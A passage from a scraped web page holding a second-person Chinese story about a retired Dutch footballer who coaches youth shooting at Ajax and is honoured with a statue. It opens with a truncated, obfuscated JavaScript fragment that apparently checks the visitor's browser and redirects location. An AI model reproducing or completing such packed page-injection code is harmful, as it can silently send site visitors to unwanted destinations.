oLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588627|205385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进就抡一脚。不要想门将,不要想比分,不要想队友骂你独。球过去,就是对的。”
第一节课,有个14岁的孩子连续十脚全部打偏。你走过去,蹲下来,指着他的支撑脚:“你的脚尖方向偏了三度。调整。”
孩子照做了。第十一脚,皮球划出一道弧线,撞在横梁下沿弹进门内。
孩子回头看你。你点了点头。
“再来。”
——
2030年
阿贾克斯宣布将在未来训练基地外为你树立一座雕像——不是因为你赢得过多少冠军,而是因为“你教会了我们,天赋与孤独可以共存”。
你出席了揭幕仪式。雕像刻的是你16岁时,右脚凌空抽射的瞬间,皮球在空中变形,眼神里没有表情。
你站在雕像前,有人递过来话筒。你握着它,想了想,只说了一句:“如果年轻时的我能看到现在的我……他会说‘你终于闭嘴了’。”
全场大笑。
你走下台时,一个少年跑过来,手里拿着一只瘪了的旧皮球。
“范德维尔先生,你能给我签个名吗?”
你蹲下来,签了自己的名字,然后把球递还给他。
“踢球的时候,”你说,“记得偶尔把球传给队友。”
少年点点头,跑了。
你转身走向停车场,右脚膝盖传来一阵熟悉的酸痛。你摸了摸它,自言自语:“还行,还能再陪你走几年。”
退役后的你:没有成为名帅,没有成为商业巨子,没有成为政客。你是阿贾克斯青训营一个没有正式编制的射门教练,是荷兰ESPN一个被投诉过“太刻薄”的客座评论员,是一个养着一只名叫“右脚”的猫的独居男人。
但你已经不再孤独了。
因为你终于学会了——在进球后,回头看一眼前方。